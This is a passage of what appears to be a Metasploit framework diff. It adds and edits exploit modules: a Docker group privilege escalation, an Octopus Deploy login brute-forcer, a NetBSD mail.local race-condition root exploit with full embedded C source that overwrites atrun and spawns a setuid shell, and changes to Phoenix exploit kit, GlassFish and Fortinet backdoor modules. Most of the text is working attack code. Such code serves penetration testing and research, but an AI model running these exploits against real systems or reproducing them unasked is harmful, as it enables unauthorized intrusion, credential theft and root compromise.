asm << "%bld%grn" + line
|
||||
else
|
||||
asm << line
|
||||
end
|
||||
|
||||
cnt += 1
|
||||
end
|
||||
asm << "%clr\n"
|
||||
print_msg(asm)
|
||||
end
|
||||
|
||||
def process_gadgets(rets, num)
|
||||
ret = {}
|
||||
gadgets = []
|
||||
tmp = []
|
||||
rets.each do |ea|
|
||||
insn = @disassembler.disassemble_instruction(ea)
|
||||
next if not insn
|
||||
|
||||
xtra = insn.bin_length
|
||||
|
||||
num.downto(0) do |x|
|
||||
addr = ea - x
|
||||
|
||||
# get the disassembled instruction at this address
|
||||
di = @disassembler.disassemble_instruction(addr)
|
||||
|
||||
# skip invalid instructions
|
||||
next if not di
|
||||
next if di.opcode.props[:setip]
|
||||
next if di.opcode.props[:stopexec]
|
||||
|
||||
# get raw bytes
|
||||
buf = @disassembler.read_raw_data(addr, x + xtra)
|
||||
|
||||
|
||||
# make sure disassembling forward leads to our instruction
|
||||
next if not ends_with_addr(buf, addr, ea)
|
||||
|
||||
dasm = ""
|
||||
while addr <= ea
|
||||
di = @disassembler.disassemble_instruction(addr)
|
||||
dasm << ("0x%08x:\t" % addr) + di.instruction.to_s + "\n"
|
||||
addr = addr + di.bin_length
|
||||
end
|
||||
|
||||
if not tmp.include?(ea)
|
||||
tmp << ea
|
||||
else
|
||||
next
|
||||
end
|
||||
|
||||
# otherwise, we create a new tailchunk and add it to the list
|
||||
ret = {:file => @file, :address => ("0x%08x" % (ea - x)), :raw => buf, :disasm => dasm}
|
||||
gadgets << ret
|
||||
end
|
||||
end
|
||||
gadgets
|
||||
end
|
||||
|
||||
private
|
||||
def ends_with_addr(raw, base, addr)
|
||||
dasm2 = Metasm::Shellcode.decode(raw, @disassembler.cpu).disassembler
|
||||
offset = 0
|
||||
while ((di = dasm2.disassemble_instruction(offset)))
|
||||
return true if (base + offset) == addr
|
||||
return false if di.opcode.props[:setip]
|
||||
return false if di.opcode.props[:stopexec]
|
||||
offset = di.next_addr
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def raw_instructions(raw)
|
||||
insns = []
|
||||
d2 = Metasm::Shellcode.decode(raw, @disassembler.cpu).disassembler
|
||||
addr = 0
|
||||
while ((di = d2.disassemble_instruction(addr)))
|
||||
insns << di.instruction
|
||||
addr = di.next_addr
|
||||
end
|
||||
insns
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -32,7 +32,6 @@ Gem::Specification.new do |spec|
|
|||
spec.executables = [
|
||||
'msfconsole',
|
||||
'msfd',
|
||||
'msfrop',
|
||||
'msfrpc',
|
||||
'msfrpcd',
|
||||
'msfupdate',
|
||||
|
@ -142,6 +141,10 @@ Gem::Specification.new do |spec|
|
|||
spec.add_runtime_dependency 'rex-socket'
|
||||
# Library for scanning a server's SSL/TLS capabilities
|
||||
spec.add_runtime_dependency 'rex-sslscan'
|
||||
# Library and tool for finding ROP gadgets in a supplied binary
|
||||
spec.add_runtime_dependency 'rex-rop_builder'
|
||||
# Library for polymorphic encoders; used for payload encoding
|
||||
spec.add_runtime_dependency 'rex-encoder'
|
||||
|
||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||
|
|
|
@ -33,7 +33,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[ 'URL', 'http://www.securityfocus.com/archive/1/499926' ],
|
||||
],
|
||||
'Author' => [ 'patrick','guerrino <ruggine> di massa' ],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Jan 9 2009'
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
|
|
@ -33,7 +33,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[ 'BID', '48225' ],
|
||||
],
|
||||
'Author' => [ 'patrick' ],
|
||||
'License' => MSF_LICENSE
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Jan 9 2009'
|
||||
)
|
||||
|
||||
register_options(
|
||||
|
|
|
@ -30,7 +30,10 @@ Windows and Linux.
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
|
||||
[ 'CVE', '2016-6601'],
|
||||
[ 'CVE', '2016-6602'],
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2016/Aug/54' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 4 2016'
|
||||
)
|
||||
|
|
|
@ -31,7 +31,9 @@ Windows and Linux.
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
|
||||
[ 'CVE', '2016-6601'],
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2016/Aug/54' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 4 2016'
|
||||
)
|
||||
|
|
|
@ -0,0 +1,77 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
require 'metasploit/framework/login_scanner/octopusdeploy'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Octopus Deploy Login Utility',
|
||||
'Description' => %q{
|
||||
This module simply attempts to login to a Octopus Deploy server using a specific
|
||||
username and password. It has been confirmed to work on version 3.4.4
|
||||
},
|
||||
'Author' => [ 'James Otten <jamesotten1[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [true, 'URI for login. Default is /api/users/login', '/api/users/login'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::OctopusDeploy.new(
|
||||
configure_http_login_scanner(
|
||||
cred_details: cred_collection,
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
|
||||
connection_timeout: 10,
|
||||
http_username: datastore['HttpUsername'],
|
||||
http_password: datastore['HttpPassword'],
|
||||
uri: datastore['TARGETURI']
|
||||
)
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
|
||||
if result.success?
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
|
||||
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status})"
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -5,10 +5,10 @@
|
|||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::SSH
|
||||
include Msf::Exploit::Remote::Fortinet
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::SSH
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
|
@ -43,11 +43,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
factory = ssh_socket_factory
|
||||
|
||||
ssh_opts = {
|
||||
port: rport,
|
||||
auth_methods: ['fortinet-backdoor'],
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
non_interactive: true,
|
||||
config: false,
|
||||
use_agent: false,
|
||||
proxy: factory
|
||||
}
|
||||
|
||||
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info, {
|
||||
'Name' => 'Docker Daemon Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module obtains root privileges from any host account with access to the
|
||||
Docker daemon. Usually this includes accounts in the `docker` group.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['forzoni'],
|
||||
'DisclosureDate' => 'Jun 28 2016',
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
|
||||
'Targets' => [ ['Automatic', {}] ],
|
||||
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'DefaultTarget' => 0
|
||||
}
|
||||
))
|
||||
register_advanced_options([
|
||||
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
if cmd_exec('docker ps && echo true') == 'true'
|
||||
print_error("Failed to access Docker daemon.")
|
||||
Exploit::CheckCode::Safe
|
||||
else
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
pl = generate_payload_exe
|
||||
exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
|
||||
print_status("Writing payload executable to '#{exe_path}'")
|
||||
|
||||
write_file(exe_path, pl)
|
||||
register_file_for_cleanup(exe_path)
|
||||
|
||||
print_status("Executing script to create and run docker container")
|
||||
vprint_status cmd_exec("chmod +x #{exe_path}")
|
||||
vprint_status shell_script(exe_path)
|
||||
vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")
|
||||
|
||||
print_status "Waiting #{datastore['WfsDelay']}s for payload"
|
||||
end
|
||||
|
||||
def shell_script(exploit_path)
|
||||
deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
|
||||
dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
|
||||
|
||||
%Q{
|
||||
IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\\\$NF }"`
|
||||
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
|
||||
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
|
||||
docker rmi -f $IMG
|
||||
#{exploit_path}
|
||||
}.strip.split("\n").map(&:strip).join(';')
|
||||
end
|
||||
|
||||
end
|
|
@ -123,7 +123,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
#we use SRVHOST as download IP for the coming wget command.
|
||||
#SRVHOST needs a real IP address of our download host
|
||||
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
||||
srv_host = Rex::Socket.source_address(rhost)
|
||||
srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
|
||||
else
|
||||
srv_host = datastore['SRVHOST']
|
||||
end
|
||||
|
|
|
@ -119,12 +119,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def ssh_login
|
||||
factory = ssh_socket_factory
|
||||
|
||||
ssh_opts = {
|
||||
port: datastore['SSH_PORT'],
|
||||
auth_methods: %w{publickey password},
|
||||
key_data: [private_key],
|
||||
proxy: factory,
|
||||
non_interactive: true
|
||||
non_interactive: true,
|
||||
config: false,
|
||||
use_agent: false,
|
||||
proxy: factory
|
||||
}
|
||||
|
||||
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
|
|
@ -67,6 +67,10 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
headers = {}
|
||||
headers['Cookie'] = "JSESSIONID=#{session}" unless session.blank?
|
||||
headers['Content-Type'] = ctype if ctype
|
||||
headers['Connection'] = 'keep-alive'
|
||||
headers['Accept'] = 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
|
||||
headers['Accept-Language'] = 'en-US,en;q=0.5'
|
||||
headers['Accept-Encoding'] = 'gzip, deflate, br'
|
||||
|
||||
res = send_request_raw({
|
||||
'uri' => path,
|
||||
|
@ -475,6 +479,39 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
|
||||
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
|
||||
format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
|
||||
format(boundary,"form:other:psection:descriptionProp:description", ""),
|
||||
format(boundary,"form:other:psection:librariesProp:library", ""),
|
||||
format(boundary,"form:other:psection:deploymentOrder:deploymentOrder", ""),
|
||||
format(boundary,"form:other:psection:implicitCdi:implicitCdi", "true"),
|
||||
format(boundary,"form:other:psection:enableProp:sun_checkbox44","true"),
|
||||
format(boundary,"form:war:psection:enableProp:sun_checkbox42","true"),
|
||||
format(boundary,"form:other:psection:vsProp:vs",""),
|
||||
format(boundary,"form:rar:psection:implicitCdi:implicitCdi","true"),
|
||||
format(boundary,"form:rar:psection:deploymentOrder:deploymentOrder",""),
|
||||
format(boundary,"form:rar:psection:enableProp:sun_checkbox40","true"),
|
||||
format(boundary,"form:other:psection:nameProp:appName", app_base),
|
||||
format(boundary,"form:rar:psection:nameProp:appName", app_base),
|
||||
format(boundary,"form:jar:psection:nameProp:appName", app_base),
|
||||
format(boundary,"form:ear:psection:nameProp:appName", app_base),
|
||||
format(boundary,"form:ear:psection:descriptionProp:description",""),
|
||||
format(boundary,"form:jar:psection:deploymentOrder:deploymentOrder", ""),
|
||||
format(boundary,"form:jar:psection:implicitCdi:implicitCdi","true"),
|
||||
format(boundary,"form:ear:psection:jw:jwc","true"),
|
||||
format(boundary,"form:ear:psection:vsProp:vs",""),
|
||||
format(boundary,"form:appClient:psection:deploymentOrder:deploymentOrder",""),
|
||||
format(boundary,"form:jar:psection:enableProp:sun_checkbox38","true"),
|
||||
format(boundary,"form:jar:psection:descriptionProp:description", ""),
|
||||
format(boundary,"form:ear:psection:implicitCdi:implicitCdi","true"),
|
||||
format(boundary,"form:appClient:psection:implicitCdi:implicitCdi","true"),
|
||||
format(boundary,"form:ear:psection:enableProp:sun_checkbox36","true"),
|
||||
format(boundary,"form:war:psection:deploymentOrder:deploymentOrder",""),
|
||||
format(boundary,"form:jar:psection:librariesProp:library",""),
|
||||
format(boundary,"form:appClient:psection:jw:jwt","true"),
|
||||
format(boundary,"form:ear:psection:librariesProp:library", ""),
|
||||
format(boundary,"form:sheet1:sun_propertySheetSection23:type:appType","war"),
|
||||
format(boundary,"form:ear:psection:deploymentOrder:deploymentOrder",""),
|
||||
format(boundary,"form:rar:psection:descriptionProp:description",""),
|
||||
format(boundary,"form:war:psection:implicitCdi:implicitCdi","true"),
|
||||
format(boundary,"form:war:psection:librariesProp:library"),
|
||||
format(boundary,"form:war:psection:descriptionProp:description"),
|
||||
format(boundary,"form_hidden","form_hidden"),
|
||||
|
@ -499,7 +536,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def get_viewstate(body)
|
||||
@vewstate ||= lambda {
|
||||
noko = Nokogiri::HTML(body)
|
||||
inputs = noko.search('input')
|
||||
hidden_inputs = []
|
||||
|
@ -511,7 +547,6 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
''
|
||||
}.call
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -587,7 +622,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
res = send_glassfish_request(path, @verbs['POST'], session, post_data, ctype)
|
||||
|
||||
# Print upload result
|
||||
if res.code == 302
|
||||
if res && res.code == 302
|
||||
print_status("Successfully uploaded")
|
||||
else
|
||||
print_error("Error uploading #{res.code}")
|
||||
|
|
|
@ -32,21 +32,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
[ 'URL', 'https://www.pwnmalw.re/Exploit%20Pack/phoenix' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 200,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd'
|
||||
}
|
||||
},
|
||||
'Platform' => %w{ unix win },
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Phoenix Exploit Kit / Unix', { 'Platform' => 'unix' } ],
|
||||
[ 'Phoenix Exploit Kit / Windows', { 'Platform' => 'win' } ]
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 01 2016',
|
||||
'DefaultTarget' => 0))
|
||||
|
@ -59,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
test = Rex::Text.rand_text_alpha(8)
|
||||
res = http_send_command("echo #{test};")
|
||||
res = http_send_command("echo \"#{test}\";")
|
||||
if res && res.body.include?(test)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
@ -68,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def exploit
|
||||
encoded = Rex::Text.encode_base64(payload.encoded)
|
||||
http_send_command("passthru(base64_decode(\"#{encoded}\"));")
|
||||
http_send_command("eval(base64_decode(\"#{encoded}\"));")
|
||||
end
|
||||
|
||||
def http_send_command(cmd)
|
||||
|
|
|
@ -33,7 +33,9 @@ Windows and Linux.
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
|
||||
[ 'CVE', '2016-6600'],
|
||||
[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2016/Aug/54' ]
|
||||
],
|
||||
'DefaultOptions' => { 'WfsDelay' => 15 },
|
||||
'Privileged' => false,
|
||||
|
|
|
@ -16,11 +16,11 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
super(update_info(info,
|
||||
'Name' => 'Chkrootkit Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
Chkrootkit before 0.50 will run any executable file named
|
||||
/tmp/update as root, allowing a trivial privsec.
|
||||
Chkrootkit before 0.50 will run any executable file named /tmp/update
|
||||
as root, allowing a trivial privilege escalation.
|
||||
|
||||
WfsDelay is set to 24h, since this is how often a chkrootkit
|
||||
scan is scheduled by default.
|
||||
WfsDelay is set to 24h, since this is how often a chkrootkit scan is
|
||||
scheduled by default.
|
||||
},
|
||||
'Author' => [
|
||||
'Thomas Stangner', # Original exploit
|
||||
|
|
|
@ -0,0 +1,330 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require "msf/core"
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NetBSD mail.local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to exploit a race condition in mail.local with SUID bit set on:
|
||||
NetBSD 7.0 - 7.0.1 (verified on 7.0.1)
|
||||
NetBSD 6.1 - 6.1.5
|
||||
NetBSD 6.0 - 6.0.6
|
||||
Successful exploitation relies on a crontab job with root privilege, which may take up to 10min to execute.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>', # Module
|
||||
'akat1' # Discovery
|
||||
],
|
||||
|
||||
'DisclosureDate' => 'Jul 07 2016',
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'SessionTypes' => %w{shell meterpreter},
|
||||
'Privileged' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'generic openssl'
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Target', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => { 'WfsDelay' => 603 }, #can take 10min for cron to kick
|
||||
'References' =>
|
||||
[
|
||||
[ "URL", "http://akat1.pl/?id=2"],
|
||||
[ "EDB", "40141"],
|
||||
[ "CVE", "2016-6253"],
|
||||
[ "URL", "http://ftp.netbsd.org/pub/NetBSD/security/advisories/NetBSD-SA2016-006.txt.asc"]
|
||||
]
|
||||
))
|
||||
register_options([
|
||||
OptString.new('ATRUNPATH', [true, 'Location of atrun binary', '/usr/libexec/atrun']),
|
||||
OptString.new('MAILDIR', [true, 'Location of mailboxes', '/var/mail']),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptInt.new('ListenerTimeout', [true, 'Number of seconds to wait for the exploit', 603])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# lots of this file's format is based on pkexec.rb
|
||||
|
||||
# direct copy of code from exploit-db
|
||||
main = %q{
|
||||
// Source: http://akat1.pl/?id=2
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <signal.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <err.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#define ATRUNPATH "/usr/libexec/atrun"
|
||||
#define MAILDIR "/var/mail"
|
||||
|
||||
static int
|
||||
overwrite_atrun(void)
|
||||
{
|
||||
char *script = "#! /bin/sh\n"
|
||||
"cp /bin/ksh /tmp/ksh\n"
|
||||
"chmod +s /tmp/ksh\n";
|
||||
size_t size;
|
||||
FILE *fh;
|
||||
int rv = 0;
|
||||
|
||||
fh = fopen(ATRUNPATH, "wb");
|
||||
|
||||
if (fh == NULL) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
|
||||
size = strlen(script);
|
||||
if (size != fwrite(script, 1, strlen(script), fh)) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
|
||||
out:
|
||||
if (fh != NULL && fclose(fh) != 0)
|
||||
rv = -1;
|
||||
|
||||
return rv;
|
||||
}
|
||||
|
||||
static int
|
||||
copy_file(const char *from, const char *dest, int create)
|
||||
{
|
||||
char buf[1024];
|
||||
FILE *in = NULL, *out = NULL;
|
||||
size_t size;
|
||||
int rv = 0, fd;
|
||||
|
||||
in = fopen(from, "rb");
|
||||
if (create == 0)
|
||||
out = fopen(dest, "wb");
|
||||
else {
|
||||
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR | S_IWUSR);
|
||||
if (fd == -1) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
out = fdopen(fd, "wb");
|
||||
}
|
||||
|
||||
if (in == NULL || out == NULL) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
|
||||
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
|
||||
if (fwrite(&buf, 1, size, in) != 0) {
|
||||
rv = -1;
|
||||
goto out;
|
||||
}
|
||||
}
|
||||
|
||||
out:
|
||||
if (in != NULL && fclose(in) != 0)
|
||||
rv = -1;
|
||||
if (out != NULL && fclose(out) != 0)
|
||||
rv = -1;
|
||||
return rv;
|
||||
}
|
||||
|
||||
int
|
||||
main()
|
||||
{
|
||||
pid_t pid;
|
||||
uid_t uid;
|
||||
struct stat sb;
|
||||
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
|
||||
|
||||
umask(0077);
|
||||
|
||||
login = getlogin();
|
||||
|
||||
if (login == NULL)
|
||||
err(EXIT_FAILURE, "who are you?");
|
||||
|
||||
uid = getuid();
|
||||
|
||||
asprintf(&mailbox, MAILDIR "/%s", login);
|
||||
|
||||
if (mailbox == NULL)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
if (access(mailbox, F_OK) != -1) {
|
||||
/* backup mailbox */
|
||||
asprintf(&mailbox_backup, "/tmp/%s", login);
|
||||
if (mailbox_backup == NULL)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
}
|
||||
|
||||
if (mailbox_backup != NULL) {
|
||||
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox, mailbox_backup);
|
||||
if (copy_file(mailbox, mailbox_backup, 1))
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
}
|
||||
|
||||
/* backup atrun(1) */
|
||||
atrun_backup = strdup("/tmp/atrun");
|
||||
if (atrun_backup == NULL)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH, atrun_backup);
|
||||
|
||||
if (copy_file(ATRUNPATH, atrun_backup, 1))
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
|
||||
/* win the race */
|
||||
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
|
||||
|
||||
switch (pid = fork()) {
|
||||
case -1:
|
||||
err(EXIT_FAILURE, NULL);
|
||||
/* NOTREACHED */
|
||||
case 0:
|
||||
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
|
||||
"2> /dev/null", login);
|
||||
|
||||
for(;;)
|
||||
system(buf);
|
||||
/* NOTREACHED */
|
||||
|
||||
default:
|
||||
umask(0022);
|
||||
for(;;) {
|
||||
int fd;
|
||||
unlink(mailbox);
|
||||
symlink(ATRUNPATH, mailbox);
|
||||
sync();
|
||||
unlink(mailbox);
|
||||
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
|
||||
close(fd);
|
||||
sync();
|
||||
if (lstat(ATRUNPATH, &sb) == 0) {
|
||||
if (sb.st_uid == uid) {
|
||||
kill(pid, 9);
|
||||
fprintf(stderr, "[+] won race!\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
(void)waitpid(pid, NULL, 0);
|
||||
|
||||
if (mailbox_backup != NULL) {
|
||||
/* restore mailbox */
|
||||
fprintf(stderr, "[+] restore mailbox %s to %s\n", mailbox_backup, mailbox);
|
||||
|
||||
if (copy_file(mailbox_backup, mailbox, 0))
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
if (unlink(mailbox_backup) != 0)
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
}
|
||||
|
||||
/* overwrite atrun */
|
||||
fprintf(stderr, "[+] overwriting atrun(1)\n");
|
||||
|
||||
if (chmod(ATRUNPATH, 0755) != 0)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
if (overwrite_atrun())
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
|
||||
|
||||
for(;;sleep(1)) {
|
||||
if (access("/tmp/ksh", F_OK) != -1)
|
||||
break;
|
||||
}
|
||||
|
||||
/* restore atrun */
|
||||
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup, ATRUNPATH);
|
||||
|
||||
if (copy_file(atrun_backup, ATRUNPATH, 0))
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
if (unlink(atrun_backup) != 0)
|
||||
err(EXIT_FAILURE, "[-] failed");
|
||||
|
||||
if (chmod(ATRUNPATH, 0555) != 0)
|
||||
err(EXIT_FAILURE, NULL);
|
||||
|
||||
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
|
||||
"ownership.\n");
|
||||
fprintf(stderr, "Enjoy your shell:\n");
|
||||
|
||||
execl("/tmp/ksh", "ksh", NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
# patch in our variable maildir and atrunpath
|
||||
main.gsub!(/#define ATRUNPATH "\/usr\/libexec\/atrun"/,
|
||||
"#define ATRUNPATH \"#{datastore["ATRUNPATH"]}\"")
|
||||
main.gsub!(/#define MAILDIR "\/var\/mail"/,
|
||||
"#define MAILDIR \"#{datastore["MAILDIR"]}\"")
|
||||
|
||||
executable_path = "#{datastore["WritableDir"]}/#{rand_text_alpha(8)}"
|
||||
payload_file = "#{rand_text_alpha(8)}"
|
||||
payload_path = "#{datastore["WritableDir"]}/#{payload_file}"
|
||||
vprint_status("Writing Payload to #{payload_path}")
|
||||
# patch in to run our payload as part of ksh
|
||||
main.gsub!(/execl\("\/tmp\/ksh", "ksh", NULL\);/,
|
||||
"execl(\"/tmp/ksh\", \"ksh\", \"#{payload_path}\", NULL);")
